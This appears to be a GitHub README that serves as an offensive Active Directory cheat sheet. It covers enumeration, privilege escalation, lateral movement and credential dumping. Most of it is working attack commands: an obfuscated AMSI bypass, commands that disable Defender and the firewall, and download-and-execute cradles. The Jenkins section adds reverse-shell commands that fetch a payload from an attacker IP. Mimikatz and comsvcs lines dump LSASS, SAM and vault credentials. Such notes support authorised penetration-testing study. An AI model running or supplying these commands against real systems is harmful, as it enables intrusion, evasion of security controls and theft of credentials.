jwardsmith / Active-Directory-Exploitation

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Active Directory Exploitation

Overview

#1. - PowerShell Basics

Help System

  • Display information about PowerShell commands and concepts
PS C:\> Get-Help
  • Display information about PowerShell conceptual articles
PS C:\> Get-Help about_<article_name>
  • Display a list of all help articles available on your computer
PS C:\> Get-Help *
  • Display a list of everything which contains the word "process"
PS C:\> Get-Help process
  • Update the help system (v3+)
PS C:\> Update-Help
  • List full help about a topic (Get-Item cmdlet in this case)
PS C:\> Get-Help Get-Item -Full
  • List examples of how to run a cmdlet (Get-Item cmdlet in this case)
PS C:\> Get-Help Get-Item -Examples

Cmdlets

  • List all cmdlets
PS C:\> Get-Command -CommandType cmdlet

Modules

  • Import a module
PS C:\> Import-Module <modulepath>
  • List all the commands in a module
PS C:\> Get-Command -Module <modulename>

Dot-Sourcing

  • Dot-source a PowerShell script
PS C:\> . .\PowerView.ps1

Copy File

  • Copy a file using PowerShell
PS C:\> Copy-Item .\<local file> \\<hostname>\c$\'Program Files'
OR
PS C:\> Copy-Item -ToSession $sess -Path C:\Tools\Rubeus.exe -Destination C:\Windows\Temp
OR
PS C:\> Copy-Item -FromSession $sess -Path C:\Users\Administrator\Documents\admin.kirbi -Destination C:\Windows\Temp

Download File

  • Download a file using PowerShell
PS C:\> powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<IP address>/exploit.exe','C:\Users\Public\Desktop\new-exploit.exe')"
OR
PS C:\> iwr -Uri http://<IP address>/exploit.ps1 -OutFile 'exploit.ps1' -UseBasicParsing

Unzip File

  • Unzip a file using PowerShell
PS C:\> Expand-Archive <file.zip>

Bypassing PowerShell Security

  • Bypass the PowerShell execution policy feature (exists to prevent a user from accidentally executing scripts)
PS C:\> powershell -ExecutionPolicy bypass
OR
PS C:\> powershell -c <cmd>
OR
PS C:\> powershell -encodedcommand
OR
PS C:\> $env:PSExecutionPolicyPreference="bypass"
  • Bypass AMSI
PS C:\> S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
PS C:\> AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
PS C:\> RunWithPathAsAdmin.bat
OR
PS C:\> RunWithRegistryNonAdmin.bat

# Type exit from the new PowerShell session to complete the clean-up
  • Disable Windows Defender
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
  • Check exclusion paths from Windows Defender
PS C:\> (Get-MpPreference).Exclusionpath
PS C:\> DefenderCheck.exe PowerUp.ps1
PS C:\> Import-Module ./Invoke-Obfuscation.psd1
PS C:\> Invoke-Obfuscation
  • Disable Windows Firewall
PS C:\> Set-NetFirewallProfile -name Domain,Private,Public -Enabled False
OR
PS C:\> netsh advfirewall set allprofiles state off
  • Check the AppLocker policy (look for exempted binaries or paths to bypass)
PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  • Check the AppLocker rule collections
PS C:\> (Get-AppLockerPolicy -Local).RuleCollections
  • Check the language mode (cannot dot source with Constrained Language Mode)
PS C:\> $ExecutionContext.SessionState.LanguageMode
  • Bypass Constrained Language Mode
PS C:\> Remove-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy
OR
PS C:\> powershell -version 2
  • Check device guard
PS C:\> Get-CimInstance -ClassName Win32_DeviceGuard -NameSpace root\Microsoft\Windows\DeviceGuard
  • Check if current PowerShell process is 32-bit ot 64-bit
PS C:\> [Environment]::Is64BitProcess
  • Launch 64-bit PowerShell process from 32-bit PowerShell process
PS C:\> C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe <command>

PowerShell Script Execution

  • Download and execute a PowerShell script in memory
PS C:\> iex (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
OR
PS C:\> $ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://<IP address>/exploit.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
OR
PS C:\> iex (iwr 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')        # PSv3 onwards
OR
PS C:\> iex (iwr 'http://<IP address>/Invoke-Mimikatz.ps1' -UseBasicParsing)
OR
PS C:\> $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1',$false);$h.send();iex $h.responseText
OR
PS C:\> $wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1")
PS C:\> $r = $wr.GetResponse() 
PS C:\> IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

#2. - Domain Enumeration

PowerView

  • PowerView link

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1

  • Enumerate current domain
PS C:\> Get-Domain
PS C:\> Get-Domain -Domain <Domain Name>        # Enumerate another domain
  • Enumerate domain SID
PS C:\> Get-DomainSID
  • Enumerate domain policy
PS C:\> Get-DomainPolicyData
PS C:\> (Get-DomainPolicyData).systemaccess        # Password policy
PS C:\> (Get-DomainPolicyData)."Kerberos Policy"        # Kerberos policy - smart idea to enumerate this before golden ticket attack
PS C:\> (Get-DomainPolicyData -Domain <Domain Name>).systemaccess        # Enumerate another domain
  • Enumerate domain controllers
PS C:\> Get-DomainController
PS C:\> Get-DomainController -Domain <Domain Name>        # Enumerate another domain
  • Enumerate users
PS C:\> Get-DomainUser
PS C:\> Get-DomainUser -Identity <username>
PS C:\> Get-DomainUser -Identity <username> -Properties *
PS C:\> Get-DomainUser -Properties samaccountname,logonCount
PS C:\> Get-DomainUser -Identity <username> -Domain <Domain Name>        # Enumerate another domain
  • Enumerate list of all properties for users
PS C:\> Get-UserProperty
PS C:\> Get-UserProperty -Properties pwdlastset        # Check last password change
PS C:\> Get-UserProperty -Properties badpwdcount        # Look for 0 - this may be a decoy or honeypot user
PS C:\> Get-UserProperty -Properties logoncount        # Check logon counts - this may be a decoy or honeypot user
  • Search for a particular string in a user's attributes
PS C:\> Get-DomainUser -LDAPFilter "Description=*built*" | select name,description
  • Enumerate computers
PS C:\> Get-DomainComputer
PS C:\> Get-DomainComputer -FullData
PS C:\> Get-DomainComputer -FullData | select operatingsystem
PS C:\> Get-DomainComputer -OperatingSystem "*Server 2016*"
PS C:\> Get-DomainComputer -Ping        # Enumerate machines that respond to ping
  • Enumerate groups
PS C:\> Get-DomainGroup
PS C:\> Get-DomainGroup -FullData
PS C:\> Get-DomainGroup -GroupName "Domain Admins" -FullData        # Enumerate a specific group
PS C:\> Get-DomainGroup -GroupName *admin*        # List groups containing the word "admin" in group name
PS C:\> Get-DomainGroup -Domain <Domain Name>        # Enumerate another domain

# Only the forest root domain contains the Enterprise Admins and Schema Admins groups. The first domain that you deploy in an Active Directory forest is called the forest root domain. This domain remains the forest root domain for the life cycle of the AD DS deployment.
  • Enumerate group members
PS C:\> Get-DomainGroupMember -Identity "Domain Admins"
PS C:\> Get-DomainGroupMember -Identity "Domain Admins" -Recurse        # Enumerate group members of the Domain Admins group
PS C:\> Get-DomainGroupMember -Identity "Enterprise Admins" -Domain <Domain Name> -Recurse        # Enumerate another domain
PS C:\> Get-DomainGroup -UserName "<username>"        # Enumerate the group membership for a user
  • Enumerate local groups
PS C:\> Get-NetLocalGroup -ComputerName <computer name>        # List local groups on a machine (needs administrator privileges on non-DC machines)
PS C:\> Get-NetLocalGroupMember -ComputerName <computer name> -Recurse        # Enumerate members of all the local groups on a machine (needs administrator privileges on non-DC machines)
  • Enumerate logged-on users
PS C:\> Get-NetLoggedon -ComputerName <computer name>        # Get actively logged users on a computer (needs local admin rights on the target)
PS C:\> Get-LoggedonLocal -ComputerName <computer name>        # Get locally logged users on a computer (needs remote registry on the target - started by default on server OS)
PS C:\> Get-LastLoggedon -ComputerName <computer name>      # Get the last logged user on a computer (needs admin rights and remote registry on the target)
PS C:\> Get-NetSession -ComputerName <computer name>        # Get session information for a machine
  • Enumerate shares
PS C:\> Invoke-ShareFinder
PS C:\> Invoke-ShareFinder -Verbose
PS C:\> Invoke-ShareFinder -Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC 
  • Enumerate sensitive files
PS C:\> Invoke-FileFinder -Verbose
  • Enumerate fileservers (considered high-value targets in a domain)
PS C:\> Get-NetFileServer
  • Enumerate group policies (GPO)
PS C:\> Get-DomainGPO
PS C:\> Get-DomainGPO | select displayname
PS C:\> Get-DomainGPO -ComputerIdentity <computer name>        # Enumerate another computer 
PS C:\> Get-DomainGPOLocalGroup        # Get GPO(s) which use Restricted Groups or groups.xml for interesting users
PS C:\> Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <computer name>        # Get users which are in a local group of a machine using GPO
PS C:\> Get-DomainGPOUserLocalGroupMapping -Identity <username> -Verbose         # Get machines where the given user is member of a specific group
  • Enumerate organizational units (OUs)
PS C:\> Get-DomainOU
PS C:\> Get-NetOU -FullData
PS C:\> Get-NetOU <OU name> | %{Get-NetComputer -ADSPath $_}        # List all the computers in an OU
  • Emumerate GPO applied on an OU
PS C:\> Get-DomainGPO -Identity "{AB306569-220D-43FF-B03B-83E8F4EF8081}"        # Enumerate GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU
OR
PS C:\> Get-NetGPO -ADSpath 'LDAP://cn={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},cn=policies,cn=system,DC=dollarcorp,DC=moneycorp,DC=local'

Enables control on the ability of a process to access objects and other resources in Active Directory based on: Access Tokens (security context of a process identity and privs of user), and Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL).

Every object in AD has a security descriptor to store information about permissions, and control who has access to an object = SID of the owner, Discretionary ACL (DACL), and System ACL (SACL). DACL - Defines the permissions trustees (a user or group) have on an object (Right-click an object -> Properties -> Security tab -> Advanced -> Permissions tab (these entries show the permissions each object have on the object you right-clicked on)). SACL - Logs success and failure audit messages when an object is accessed (Right-click an object -> Properties -> Security tab -> Advanced -> Auditing tab).

  • Enumerate access control lists (ACLs) (List of access control entries (ACE) = ACE corresponds to individual permission or audit access)
PS C:\> Get-DomainObjectAcl -SamAccountName <object> -ResolveGUIDs        # Get the ACLs with the specified object (3 most important properties: ObjectDN = target object we specified, IdentityReference = which object has permissions on the target, ActiveDirectoryRights = what rights they have. Other interesting properties are: InheritedObjectType, AccessControlType, InheritanceFlags, ObjectSID)
PS C:\> Get-DomainObjectAcl -SearchBase "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose        # Enumerate the ACLs associated with the specified prefix to be used for search
PS C:\> Get-DomainObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose        # Enumerate the ACLs associated with the specified LDAP path to be used for search for the specified object
PS C:\> Get-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"        # Enumerate the ACLs associated with the specified path
  • Search for interesting ACEs (write or modify rights/permissions)
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs
PS C:\> Invoke-ACLScanner -ResolveGUIDs
PS C:\> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "<object>"}        # On a specified object
PS C:\> Invoke-ACLScanner -ResolveGUIDs | select objectdn, identityreference, activedirectoryrights
  • Enumerate ACLs for all the GPOs
PS C:\> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
PS C:\> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}  | ?{$_.IdentityReference -match "<object>"}        # On a specified object

In an Active Directory environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest. Trust can be automatic (parent-child, same forest etc..) or established (forest, external). Trusted Domain Objects (TDOs) represent the trust relationships in a domain.

Trust Direction: One-way trust - Unidirectional. Users in the trusted domain can access resources in the trusting domain, but the reverse is not true. Two-way trust - Bidirectional. Users of both domains can access resources in the other domain.

Trust Transitivity: Transitive - Can be extended to establish trust relationships with other domains (all the default intra-forest trust relationships (tree-root, parent-child) between domains within a same forest are transitive two-way trusts). Nontransitive - Cannot be extended to other domains in the forest. Can be two-way or one-way (this is the default trust (called external trust) between two domains in different forests when forests do not have a trust relationship).

Domain Trusts: Default/Automatic Trusts - Parent-child trust is created automatically between the new domain and the domain that precedes it in the namespace hierarchy, whenever a new domain is added in a tree. Always two-way transitive. Tree-root trust is created automatically between whenever a new domain tree is added to a forest root. Always two-way transitive. Shortcut Trusts - Used to reduce access times in complex trust scenarios. Can be one-way or two-way transitive. External Trusts - Between two domains in different forests when forests do not have a trust relationship. Can be one-way or two-way and is nontransitive.

Forest Trusts: Between forest root domain. Cannot be extended to a third forest (no implicit trust). Can be one-way or two-way and always nontransitive.

  • Enumerate a list of all domain trusts in the current domain
PS C:\> Get-DomainTrust
PS C:\> Get-DomainTrust -Domain <Domain Name>        # Enumerate another domain
PS C:\> Get-ForestDomain -Verbose | Get-NetDomainTrust        # Map all the domain trusts of the current forest
PS C:\> Get-ForestDomain -Forest <Forest Name> -Verbose | Get-NetDomainTrust        # Map all the domain trusts of another forest
  • Enumerate current forest
PS C:\> Get-Forest
PS C:\> Get-Forest -Forest <Forest Name>                 # Enumerate another forest
  • Enumerate domains in the current forest
PS C:\> Get-NetForestDomain
PS C:\> Get-NetForestDomain -Forest <Forest Name>        # Enumerate another forest
  • Enumerate global catalogs in the current forest
PS C:\> Get-ForestGlobalCatalog
PS C:\> Get-ForestGlobalCatalog -Forest <Forest Name>        # Enumerate another forest
  • Enumerate forest trusts
PS C:\> Get-ForestTrust
PS C:\> Get-ForestTrust -Forest <Forest Name>            # Enumerate another forest
  • User hunting

This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases ports (RPC and SMB) used by Find LocalAdminAccess are blocked. See Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1

PS C:\> Find-LocalAdminAccess -Verbose        # Find all machines on the current domain where the current user has local admin access
PS C:\> Invoke-EnumerateLocalAdmin -Verbose        # Find local admins on all machines of the domain (needs administrator privileges on non-DC machines)
PS C:\> Find-DomainUserLocation -Verbose        # Find computers where a domain admin (or specified user/group) has sessions
PS C:\> Find-DomainUserLocation -UserGroupIdentity "RDPUsers"
PS C:\> Find-DomainUserLocation -CheckAccess        # To confirm admin access
PS C:\> Find-DomainUserLocation -Stealth        # Targets high traffic servers e.g. DC, File Servers, Distributed File Servers
PS C:\> Invoke-SessionHunter -FailSafe        # List sessions on remote machines (https://github.com/Leo4j/Invoke-SessionHunter) (command doesn’t need admin access on remote machines. Uses Remote Registry and queries HKEY_USERS hive)
PS C:\> Invoke-SessionHunter -NoPortScan -Targets C:\AD\Tools\servers.txt        # OPSEC friendly command

ActiveDirectory (AD) Module

  • ActiveDirectory (AD) Module links

https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2019-ps
https://github.com/samratashok/ADModule

You can copy this DLL to your machine and use it to enumerate Active Directory without installing RSAT and without having administrative privileges. To be able to list all the cmdlets in the module, import the module as well. Remember to import the DLL first.

PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
PS C:\> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1
PS C:\> Get-Command -Module ActiveDirectory

You can also use the Import-ActiveDirectory.ps1 to load the script using download-execute cradles and without writing the DLL to disk:

PS C:\> iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory
  • Enumerate current domain
PS C:\> Get-ADDomain
PS C:\> Get-ADDomain -Identity <Domain Name>        # Enumerate another domain
  • Enumerate domain SID
PS C:\> (Get-ADDomain).DomainSID
  • Enumerate domain controllers
PS C:\> Get-ADDomainController
PS C:\> Get-ADDomainController -DomainName <Domain Name> -Discover        # Enumerate another domain
  • Enumerate users
PS C:\> Get-ADUser -Filter *
PS C:\> Get-ADUser -Filter * -Properties *
PS C:\> Get-ADUser -Filter * -Properties * | select Name
PS C:\> Get-ADUser -Identity <username> -Properties *
PS C:\> Get-ADUser -Server <Domain Controller>
  • Enumerate list of all properties for users
PS C:\> Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
PS C:\> Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
  • Search for a particular string in a user's attributes
PS C:\> Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
  • Enumerate computers
PS C:\> Get-ADComputer -Filter *
PS C:\> Get-ADComputer -Filter * -Properties *
PS C:\> Get-ADComputer -Filter * | select Name
PS C:\> Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
PS C:\> Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}        # Enumerate machines that respond to ping
  • Enumerate groups
PS C:\> Get-ADGroup -Filter *
PS C:\> Get-ADGroup -Filter * -Properties *
PS C:\> Get-ADGroup -Filter * | select Name
PS C:\> Get-ADGroup -Filter 'Name -like "*admin*"' | select Name        # List groups containing the word "admin" in group name
PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server "moneycorp.local"        # Enumerate another domain
  • Enumerate group members
PS C:\> Get-ADGroupMember -Identity "Domain Admins"
PS C:\> Get-ADGroupMember -Identity "Domain Admins" -Recursive        # Enumerate group members of the Domain Admins group
PS C:\> Get-ADGroupMember -Identity "Enterprise Admins" -Server "<Domain Name>" -Recursive     # Enumerate another domain
PS C:\> Get-ADPrincipalGroupMembership -Identity <username>        # Enumerate the group membership for a user
  • Enumerate organizational units (OUs)
PS C:\> Get-ADOrganizationalUnit -Filter * -Properties *
  • Enumerate access control lists (ACLs) (List of access control entries (ACE) = ACE corresponds to individual permission or audit access)
PS C:\> (Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access        # Enumerate ACLs without resolving GUIDs
  • Enumerate a list of all domain trusts in the current domain
PS C:\> Get-ADTrust
PS C:\> Get-ADTrust -Identity <Domain Name>        # Enumerate another domain
  • Enumerate current forest
PS C:\> Get-ADForest
PS C:\> Get-ADForest -Identity <Forest Name>        # Enumerate another forest
  • Enumerate domains in the current forest
PS C:\> (Get-ADForest).Domains
  • Enumerate global catalogs in the current forest
PS C:\> Get-ADForest | select -ExpandProperty GlobalCatalogs
  • Enumerate forest trusts
PS C:\> Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

BloodHound

Provides GUI for AD entities and relationships for the data collected by its ingestors. Uses Graph Theory for providing the capability of mapping the shortest path for interesting things like Domain Admins. The generated archive can be uploaded to the BloodHound application.

  • BloodHound link

https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/SharpHound - C# rewrite

  • Supply data to BloodHound using powershell module ingestor
PS C:\> . .\SharpHound.ps1
PS C:\> SharpHound.exe –-steatlh        # Removes noisy collection methods like RDP, DCOM, PSRemote and LocalAdmin
PS C:\> Invoke-BloodHound -CollectionMethod All
PS C:\> Invoke-BloodHound -CollectionMethod All -ExcludeDC        # To avoid detections like MDI
PS C:\> Invoke-BloodHound –Steatlh        # Removes noisy collection methods like RDP, DCOM, PSRemote and LocalAdmin
PS C:\> Invoke-BloodHound -CollectionMethod LoggedOn        # In case BloodHound doesn't find any Sessions in Database Info
  • Install neo4j
PS C:\> neo4j.bat install-service
PS C:\> neo4j.bat start

SharpView

.NET port of PowerView

  • SharpView link

https://github.com/tevora-threat/SharpView

  • Enumerate users
PS C:\> SharpView.exe Get-DomainUser -domain <Domain>

#3. - Local Privilege Escalation

Privilege Escalation Methods

  • List of ways to locally escalate privileges on a Windows box
- Hunting for local admin access on other machines
- Hunting for high privilege domain accounts (like Domain Admins)
- Missing patches
- Automated deployment and AutoLogon passwords in clear text
- AlwaysInstallElevated (Any user can run MSI as SYSTEM)
- Misconfigured services
- DLL hijacking
- Token impersonation
- NTLM relaying
  • Privilege escalation tool links

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/AlessandroZ/BeRoot
https://github.com/enjoiz/Privesc
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

PowerUp

  • Get services with unquoted paths and a space in their executable path
PS C:\> Get-ServiceUnquoted -Verbose
  • Get services where the current user can write to its binary path or change arguments to the binary
PS C:\> Get-ModifiableServiceFile -Verbose
  • Get services where the current user can modify their configuration
PS C:\> Get-ModifiableService -Verbose
  • Abuse a function the current user has configuration rights on in order to add a local administrator or execute a custom command
PS C:\> Invoke-ServiceAbuse -Name '<weak service name>' -UserName '<username>' -Verbose
OR
PS C:\> Invoke-ServiceAbuse -Name '<weak service name>' -Command "net localgroup administrators <username> /add" -Verbose
  • Run all checks (make sure to check AbuseFunction field to see examples of exploitation)
PS C:\> Invoke-AllChecks

BeRoot

  • Run all checks
PS C:\> .\beRoot.exe

Privesc

  • Run all checks
PS C:\> Invoke-PrivEsc

WinPEAS

  • Run all checks
PS C:\> winPEASx64.exe

Feature Abuse - Jenkins

If you have admin access (default installation before 2.x), go to http://<jenkins-server>/script. In the script console, Groovy scripts can be executed. Also, if you don't have admin access but can add or edit build steps in the build configuration of a project, add a build step using "Execute Windows Batch Command". If a build step fails, the following consecutive build steps wont execute.

  • Execute a command on a Jenkins Master using Groovy scripts
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '<INSERT COMMAND>'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
  • Execute a command on a Jenkins Master using build configuration
powershell.exe iex (iwr http://<Attacker IP address>/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Power -Reverse -IPAddress <Attacker IP address> -Port <port>
OR
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell iex (iwr http://<Attacker IP address>/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Power -Reverse -IPAddress <Attacker IP address> -Port <port>        # Bypass PowerShell 32-bit architecture issues
OR
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<Attacker IP address>/Invoke-PowerShellTcp.ps1')); Power -Reverse -IPAddress <Attacker IP address> -Port <port>

Set up a PowerCat listener (press Enter a few times to connect to reverse shells)

PS C:\> powercat -l -v -p <port> -t 100

#4. - Lateral Movement

PowerShell Remoting

PsExec on steroids. Enabled by default on Server 2012 onwards. You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting).

  • Enable PowerShell Remoting on current machine (needs admin access)
PS C:\> Enable-PSRemoting
  • Start an interactive session with a remote computer using PowerShell remoting (needs admin access on the remote computer)
PS C:\> Enter-PSSession -ComputerName <computer name>
PS C:\> Enter-PSSession -ComputerName <computer name> -Credential <Domain>\<Username>        # Specify credentials
  • Create a persistent connection to a local or remote computer using PowerShell remoting (needs admin access on the remote computer)
PS C:\> $sess = New-PSSession -ComputerName <computer name>
PS C:\> $sess
PS C:\> Enter-PSSession -Session $sess
  • Execute commands or scriptblocks on a remote computer
PS C:\> Invoke-Command -ScriptBlock {whoami} -ComputerName <computer name>
PS C:\> Invoke-Command -ScriptBlock {Get-Process} -ComputerName (Get-Content <server-list.txt>)        # Run a command on multiple systems
PS C:\> Invoke-Command -ScriptBlock {whoami} -Session $sess        # Import a command into a session
PS C:\> Invoke-Command -ScriptBlock {iex (iwr -UseBasicParsing http://<IP address>/amsibypass);iex (iwr -UseBasicParsing http://<IP address>/payload.ps1)} -Session $sess        # Run a command bypassing AMSI
  • Execute scripts from files on a remote computer
PS C:\> Invoke-Command -FilePath C:\Scripts\Get-PassHashes.ps1 -ComputerName <computer name>
PS C:\> Invoke-Command -FilePath C:\Scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <server-list.txt>)        # Run a command on multiple systems
PS C:\> Invoke-Command -FilePath C:\Scripts\Get-PassHashes.ps1 -Session $sess        # Import a script into a session
  • Execute locally loaded functions on a remote computer
PS C:\> Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName <computer name>
PS C:\> Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <server-list.txt>)        # Run a command on multiple system
PS C:\> Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <server-list.txt>) -ArgumentList        # To pass arguments. Only positional arguments can be passed this way
PS C:\> Invoke-Command -ScriptBlock ${function:Get-PassHashes} -Session $sess        # Import a locally loaded function into a session
  • Execute stateful commands on a remote computer
PS C:\> $sess = New-PSSession -ComputerName <computer name>
PS C:\> Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
PS C:\> Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
  • Create a credentials object to use with PowerShell Remoting
$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<Domain>\<username>", $passwd)
$sess = New-PSSession -ComputerName <computer name> -Credential $creds
  • Use credentials with PowerShell Remoting
PS C:\> Invoke-Command -ScriptBlock {whoami} -ComputerName <computer name> -Credential <Domain\username>
  • Bypass Kerberos double hop using a nested Invoke-Command
$cred = Get-Credential <Domain>\<username>
Invoke-Command -ComputerName <first hop computer> -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName <target computer> -Credential $Using:cred -ScriptBlock {<command>}
}
OR
PS C:\> Invoke-Command -ScriptBlock{Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName <computer name>} -Session $sess
  • Bypass logging and still reap the benefit of 5985 allowed between hosts
PS C:\> winrs -remote:<computer name> -u:<Domain>\<username> -p:<password> <command>
OR
https://github.com/bohops/WSMan-WinRM

Invoke-Mimikatz

Mimikatz is used to dump credentials, tickets and more with PowerShell without dropping the mimikatz exe to disk. It is very useful for passing and replaying hashes, tickets and for many other Active Directory attacks. The script needs administrative privileges for dumping credentials from a local machine.

  • Dump credentials on a local machine (needs administrative privileges)
PS C:\> Invoke-Mimikatz -DumpCreds
  • Dump certificates on a local machine (needs administrative privileges)
PS C:\> Invoke-Mimikatz -DumpCerts
  • Dump credentials on multiple remote machines (needs administrative privileges)
PS C:\> Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
  • Dump AES keys (needs administrative privileges)
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
  • Dump credentials from the credentials vault e.g. scheduled task credentials (needs administrative privileges)
PS C:\> Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'

Extracting Credentials

  • Extract credentials from memory of the LSASS process
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa"'
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
OR
PS C:\> SafetyKatz.exe "sekurlsa::ekeys"        # Minidump of lsass and PELoader to run Mimikatz
OR
PS C:\> SharpKatz.exe --Command ekeys        # Using SharpKatz C# port of some of Mimikatz functionality
OR
PS C:\> rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump        # Using Dumpert (Direct System Calls and API unhooking)
OR
PS C:\> pypykatz.exe live lsa        # Using pypykatz (Mimikatz functionality in Python)
OR
PS C:\> tasklist /FI "IMAGENAME eq lsass.exe" rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS PID> C:\Users\Public\lsass.dmp full        # Using comsvcs.dll
OR
$ pypykatz lsa minidump lsass.dmp        # Decrypt on a Linux machine
OR
https://github.com/fortra/impacket        # From a Linux attacking machine
OR
https://github.com/WithSecureLabs/physmem2profit        # From a Linux attacking machine
  • Extract credentials from LSASecrets
PS C:\> Invoke-Mimikatz -Command '"lsadump::secrets"'
OR
PS C:\> Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'        # fix permission errors
  • Extract credentials from SAM
PS C:\> Invoke-Mimikatz -Command '"lsadump::sam"'
OR
PS C:\> Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'        # fix permission errors
  • Extract credentials from Credential Vault
PS C:\> Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'
  • Extract credentials from unattend.xml and sysprep.xml
PS C:\> type C:\Windows\Panther\unattend.xml
PS C:\> type C:\Windows\Panther\unattend\unattend.xml
PS C:\> type C:\Windows\System32\sysprep.inf
PS C:\> type C:\Windows\System32\sysprep\sysprep.xml
  • Extract Autologon credentials
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "DefaultPassword"
  • Extract credentials from PowerShell console history (check HistorySavePath field)
PS C:\> Get-PSReadlineOption
  • Decrypt IIS web config file
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf connectionStrings C:\Inetpub\www\statusapp
